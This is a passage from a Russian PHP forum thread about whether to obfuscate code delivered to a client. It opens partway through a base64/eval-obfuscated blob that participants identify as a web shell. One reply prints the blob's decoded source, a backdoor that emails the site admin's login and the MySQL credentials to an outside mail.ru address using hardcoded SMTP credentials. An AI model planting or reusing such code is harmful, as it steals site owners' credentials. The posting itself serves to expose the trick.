NISldha1pMWkVkV1IxZHNXbWxYUlRCNFZteFNTMU14U25SVWEyeG9VbXh3V0ZSVVNtOWlNVnB6Vld0MFYwMXJNVFJYYTJoTFlWWktkRlZzVWxwaE1taEVXbFphWVZkSFRrWmFSMmhPVm0xM01GWnFTVEZVTWtaSFUyNUtWR0pIYUZoVVZXUlRaR3haZUZkdFJsZFdhMW93VlcxNFQxUnNTa2RYYTJ4WFRXNVNhRmxxUmxOak1VNXlWMnhvYVZKdVFsZFdiWEJQVlRBd2VGWllhRmhpVlZwWlZXcEdTMU5HV2tobFNHUlhUVlp3UjFZeGFHOVdNa3BJVkZob1ZtRnJXbWhXYWtaclYxZE9SMU50YUU1aVYyaFlWbTB4TUZZeGJGWk5TR2hYWW14S1QxWnNaRk5XUm14eVZsUkdUbEp0ZEROV01uTTFWakF4Vm1KRVZsaFdSVFY2Vm1wS1JtVkhUa2RoUm1SWFpXdGFWRmRzV21GVE1rMTRXa2hTYTFKck5YQlZiR2hEVFd4WmVXVkhjR3hTYkVZMVZrZDBhMVpXWkVoaFJscGFZbGhTTTFaVlduZFdNVnAxVkcxMFRsWlVSVEJXYkdNeFpERldWMVpZWkdsVFIxSlZWRlphUzA1c1ZrZFVhM0JxVWxoU1Zsa3piM2RoVlhSVVlYcGphVXRUYXpjaUtTazciKSk7"));

- используются комбинации функций base64_decode и base64_encode.

Можешь себе также сделать. Только чуть сложнее лучше - не просто функции а и строки разбивать, запутывая.

Это вроде вируса или ф. менеджера? Как-то так... У меня сайт взломали на двиге и похожий код)

Спустя 3 минуты, 55 секунд (30.10.2010 - 18:30) phz написал(а):
Цитата (inpost @ 30.10.2010 - 14:42)
CyLon
Продавая сайт ты продаёшь и готовый код. Право на улучшение/адаптирование новых приложений - сугубо дело хозяина скрипта. Если он захочет в форму добавить ещё один пункт - это его право! При купле-продаже программного кода все права и владение,пользование и распоряжение переходят его владельцу, а именно покупателю. Кодирование будет означать, что ты ограничиваешь владельца в владении и распоряжении его имуществом, что несомненно будет нарушать Гражданский кодекс и договор об "выполнении каких-то там работ" (Я не знаю российского законодательства, поэтому точно сказать не могу). Если собственнику понадобится получить внутренний код - он это потребует у тебя, и для вас обоих это будет дополнительной головной болью. Дело в том, что любая солидная организация хочет получить именно открытый код, и врядли в договоре сможешь указать отдельно пункт этот.
Декодирование можно использовать только как средство защиты от хакеров, хотя если они захотят навредить, то в начале напишут: header("Location: meatspin.com"); и всё, твоё декодирование не спасёт, а сервер и скрипт упадёт в производительности.
Это сугубо моё мнение по этому вопросу.

Если есть условия или договор...

А так земля круглая... загадывать не стоит... Есть возможность потом заработать на этот сайте, в чём дело?

Спустя 1 час, 53 минуты, 3 секунды (30.10.2010 - 20:23) kirik написал(а):
Цитата (phz @ 30.10.2010 - 10:30)
Это вроде вируса или ф. менеджера?

Ага, это веб-шелл. Такующе гадость постоянно на шаредхостингах нахожу.

Спустя 11 часов, 2 минуты, 54 секунды (31.10.2010 - 08:26) Michael написал(а):
Цитата (phz)
Это вроде вируса или ф. менеджера? Как-то так... У меня сайт взломали на двиге и похожий код)

так можно шифрануть любой код, понятно что и вредоносный тоже так шифруют. Там где я встречал - часть логики в админке было зашифровано, чтобы "не поняли код"

Спустя 16 минут, 56 секунд (31.10.2010 - 08:43) twin написал(а):
Да какая это шифровка))))
Меняй eval на print и смотри себе.
Ну особо "одаренные" несколько вложенных евалов делают. Я до 8 штук встречал.

Спустя 8 минут, 24 секунды (31.10.2010 - 08:52) twin написал(а):
<?
if ($_SESSION['UserInfo']['UserGroup'] == 1)
{
$gg12323 = getallheaders();
$text = "Login:" . $UserName . " Pass:" . $Password . "\nSite:"
. $gg12323['Host'] . "\nSQL server IP:" . $settings['mysql']['host']
.
"\nSQL login:" . $settings['mysql']['user']
.
" SQL pass:" . $settings['mysql']['password'];
$tmp12321 = $settings['Email'];
$settings['Email']['host'] = "smtp.mail.ru";
$settings['Email']['port'] = "25";
$settings['Email']['auth'] = "1";
$settings['Email']['user'] = "paoled";
$settings['Email']['pass'] = "qwe123asd";
$settings['Email']['from'] = "paoled@mail.ru";
$email = "paoled@mail.ru";
include_once("emailfunc.php");
$info = PrepareEmail($email, "All passwords", $text);
$settings['Email'] = $tmp12321;
$smtp = new smtp ($info[0]);
$smtp->connect($info[0]);

if (SendCompleteEmail($smtp, $info[1])) return false;
$smtp->quit();
unset($smptp);
}

Держи твою "шифровку" biggrin.gif

Спустя 31 минута, 39 секунд (31.10.2010 - 09:23) Michael написал(а):
twin, та этот код и у меня не вызвал больших проблем. А ты вручную что ли так быстро прошелся?
Глубину побольше и строки соединять/разделять строковыми функциями - как вариант запутывания.

Спустя 31 минута, 45 секунд (31.10.2010 - 09:55) twin написал(а):
Цитата
Глубину побольше и строки соединять/разделять строковыми функциями - как вариант запутывания.

Код в объеме вырастает в несколько раз. Скорость падает на порядки. А толку никакого - от детей дошкольного возраста мож и спасет))

Спустя 35 минут, 14 секунд (31.10.2010 - 10:30) linker написал(а):
Читайте в сторону Zend и IonCube. Но придется платить бабки за лицензионность. Все остальные методы абсолютно бесполезны.

Спустя 7 часов, 26 минут, 6 секунд (31.10.2010 - 17:56) CyLon написал(а):
Цитата
CyLon
Продавая сайт ты продаёшь и готовый код. Право на улучшение/адаптирование новых приложений - сугубо дело хозяина скрипта. Если он захочет в форму добавить ещё один пункт - это его право! При купле-продаже программного кода все права и владение,пользование и распоряжение переходят его владельцу, а именно покупателю. Кодирование будет означать, что ты ограничиваешь владельца в владении и распоряжении его имуществом, что несомненно будет нарушать Гражданский кодекс и договор об "выполнении каких-то там работ" (Я не знаю российского законодательства, поэтому точно сказать не могу). Если собственнику понадобится получить внутренний код - он это потребует у тебя, и для вас обоих это будет дополнительной головной болью. Дело в том, что любая солидная организация хочет получить именно открытый код, и врядли в договоре сможешь указать отдельно пункт этот.
Декодирование можно использовать только как средство защиты от хакеров, хотя если они захотят навредить, то в начале напишут: header("Location: meatspin.com"); и всё, твоё декодирование не спасёт, а сервер и скрипт упадёт в производительности.
Это сугубо моё мнение по этому вопросу.


А если сайт не продаешь? А делаешь для одного человека с устным договором о том что будешь за ним следить и изменять, а от заработка получать процент?
Я не могу быть уверенным что человек меня не кинет и я останусь ни с чем... А сайт будет у него отлично работать и дальше...

Цитата
Если есть условия или договор...

А так земля круглая... загадывать не стоит... Есть возможность потом заработать на этот сайте, в чём дело?


Да Вы правы, я чуть выше написал обстоятельства, не хочу в конце концов оказаться полным дураком от того что я не всё продумал...

Цитата
Читайте в сторону Zend и IonCube. Но придется платить бабки за лицензионность. Все остальные методы абсолютно бесполезны.


К сожалению у меня карман пустой, и так нужны деньги на институт, жильё, еду, квартиру и так далее, вот и ищу способ самому справиться с проблемой...

Цитата
Держи твою "шифровку"

Так, интересно, насколько я понял этот код будет отправлять мне на мэйл логин, пасс допустим админа, дальше адресс сайта, сервер MySql, логин MySql и пасс MySql... Но что мне это даст если кто-то стерёт этот код?

Цитата
Можешь себе также сделать. Только чуть сложнее лучше - не просто функции а и строки разбивать, запутывая.

Боюсь потом сам запутаюсь...

Спустя 14 минут, 26 секунд (31.10.2010 - 18:11) twin написал(а):
Цитата
Так, интересно, насколько я понял этот код будет отправлять мне на мэйл логин...
Это не тебе. Этопросто расшифрованный исходник того, что Michael как пример привел.
Смотри в сторону обфускации, как посоветовали. Дело в том, что ZEND довольно удачно научились расшифровывать братья-китайцы и в сети есть несколько сервисов. Сам юзал, вполне нормально. Пару-тройку ошибок на странице не так сложно исправить потом.

А вот с ручной обфускацией мало кто захочет иметь дело. И в итоге может оказаться рентабельнее платить всеже тебе, нежели за расшифровку и дальнейшее обслуживание.

Другой вопрос - чего ты там такого гениального написал, что нужно прятать?
Любой функционал можно повторить на раз, это легче и приятнее расшифровки всякой ереси.

Важна идея, а её не зашифруешь.

Лучшая обфускация, это опыт. Через год тебе может самому смешно будет от того, что ты прятать собираешься. )))
Люди проситься к тебе должны, а не кинуть стараться.

Спустя 38 минут, 58 секунд (31.10.2010 - 18:50) CyLon написал(а):
Да знакомая история, я сейчас только недавно смеялся над тем что 1 год назад сделал, а через год это может повториться над этим, так как чувствую что хоть и вырос немного, но всё равно есть ещё много чего ещё что не знаю.
Цитата
Другой вопрос - чего ты там такого гениального написал, что нужно прятать?

Гениального ничего, делаю доску объявлений.
Цитата
Любой функционал можно повторить на раз, это легче и приятнее расшифровки всякой ереси.

Повторить можно но на это время уйдёт...
Цитата
Важна идея, а её не зашифруешь.

Вот вот... Ты прав, отличная идея будет жить всегда.

Спустя 15 часов, 24 минуты, 42 секунды (1.11.2010 - 10:14) linker написал(а):
twin
Ну не смеши, полно прог вертающих все взад, т.к. как тебе нужно, плюс форматирование. Что гораздо проще чем найти ту прогу от братьев китайцев. Юзал, результат практически нулевой.

Спустя 19 минут (1.11.2010 - 10:33) twin написал(а):
Какие проги вернут ручную обфускацию?
Если переменные такого вида $l2386fs, функции такого iuyreqr3tt(), еще пару фенек добавить.
Конечно, форматирование вернуть можно, вон в подписи у меня даже есть прибамбас.
Но кому охота будет в этом бардаке ковыряться.

Я не спорю - затея бестолковая. Но зенд тоже зануляется мама не горюй.

Вообще все это суета. Обычно такие мысли посещают тех, кто считает, что другим писать код так же сложно, как ему.

Я вот даже задуряться бы не стал, просто повторил бы и все. Проще и приятнее.

Спустя 13 минут, 24 секунды (1.11.2010 - 10:47) Michael написал(а):
Цитата (twin @ 1.11.2010 - 09:33)
Вообще все это суета. Обычно такие мысли посещают тех, кто считает, что другим писать код так же сложно, как ему.


Ну вот ТС посетило, чтобы в его "бесплатном" проекте его легко не кинули, не отстранили. Ситуаций масса.

Цитата
Я вот даже задуряться бы не стал, просто повторил бы и все. Проще и приятнее.

Ну да? Есть например код четко и полно работающий с excel файлом(для примера). Куча работы. Тебе легче заново разбираться, писать с нуля?

Спустя 9 минут, 54 секунды (1.11.2010 - 10:57) linker написал(а):
twin
Я еще ни разу не видел качественно зануленную разработку. Платных CMS полно, все они зазендены, а вот nulled версий, что-то нет. Была, кстати, на Битрикс, но оказалось абсолютно не рабочая. А по поводу обфускации, количество перменных, функций и прочего лимитировано. Больше всего проблем возникает с названиями типа $oo0o00ooo00. Вобщем все это при должной и достаточно не большой трате времени легко приводится в понятный вид.

Спустя 5 часов, 11 минут, 28 секунд (1.11.2010 - 16:08) inpost написал(а):
linker
Хорошая идея все переменные заменять на такого вида.
$oOOooOOooOO
$oOOooOOOooo
$ooOOOoOOOO
$oOOOoOOOOo
=)))
=

Спустя 1 час, 47 минут, 35 секунд (1.11.2010 - 17:56) ИНСИ написал(а):
Цитата
$oOOOoOOOOo или $l2386fs

мне кажется не очень сработает такой вид изменения названий переменным и т.д.

Как пример: У меня Dreamweaver. Там такая штука: Поиск + Заменить на....
Введи найти: $oOOOoOOOOo, Заменить на: $email.

и все smile.gif ручная сборка получится не особо сложной, чтобы менять код потом ...

Спустя 17 минут, 20 секунд (1.11.2010 - 18:13) twin написал(а):
Для этого нужно сначала понять, емайл эта переменная или нет)))
Когда их много, такое занятие становится весьма утомительным.

Хотя все равно фигня это.

Спустя 22 минуты, 55 секунд (1.11.2010 - 18:36) inpost написал(а):
$I11II1II1I1II1I1I - вот очень всё в глазах теребит, когда совмещать еденицы и I =) В некоторых программах шрифт на столько плохой, что эти символы выглядят одинаково.

Спустя 15 часов, 13 минут, 21 секунда (2.11.2010 - 09:49) linker написал(а):
Фишка переменных типа $oOOooOOooOO в том, что большинство используемых шрифтов не имеет перечеркнутого нолика и поэтому отличить большую "О" от нуля невозможно на глаз smile.gif

Спустя 3 месяца, 16 дней, 16 часов, 9 секунд (19.02.2011 - 01:50) it-mutant написал(а):
Да ничего это не фигня.. Заходишь на страницу, замечаешь лишний перевод строки вверху, лезешь в исходник... А там мама не горюй. И начинаешь думать, толи у тебя сейчас всё ифреймится на сервере, толи троянчика тебе подгрузили уже.. У обфускации цель скрыть назначение кода и максимально затруднить его модификацию. С назначением всё решается до первого попадания в дебагер, а вот модификация - это да. Вот пример ручной деобфускации червя Determinator, специально обзорчик набросал после прочтения ветки. Ходит по инету с нового года, мож пригодится кому. На двух серверах уже словил, заражает через угнанные ftp аккаунты.

Спустя 4 часа, 19 минут, 24 секунды (19.02.2011 - 06:09) twin написал(а):
Я бы на месте заказчика в такую даль послал бы разработчика, который попытался бы впарить мне не только обфусцированный или зазенденный код, но и даже просто написанный кривым стилем. Мало ли какие там дыры или жучки. Не исправить потом, ни починить. Сиди как на вулкане.

Если такие еще находятся, о только до первой неприятности. А потом рейтинг разработчика начинает стремительно падать. Что в итоге приводит к гораздо большим потерям, чем скопипастенный и использованный в других местах код.

Наоборот нужно стараться как можно больше раздать, тогда о тебе начнут говорить, уважать и стоимость твоя начнет расти в геометрической прогрессии.

Так что все эти фенечки для слабоков и лентяев. Которые ищут заказчиков-лохов.

Спустя 7 часов, 15 минут, 51 секунда (19.02.2011 - 13:25) Zerstoren написал(а):
У меня за 7 месяцев работ встретился только один сайт под Зендом, я был сначала зол, но потом обрадовался т.к. разработчик был не дурак и учел все что надо для СЕО.

Хотя с тем что когда человек заказывает сайт, он покупает исходный код сайта, это верно. Я плачу не за оболочку, а за все вместе.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.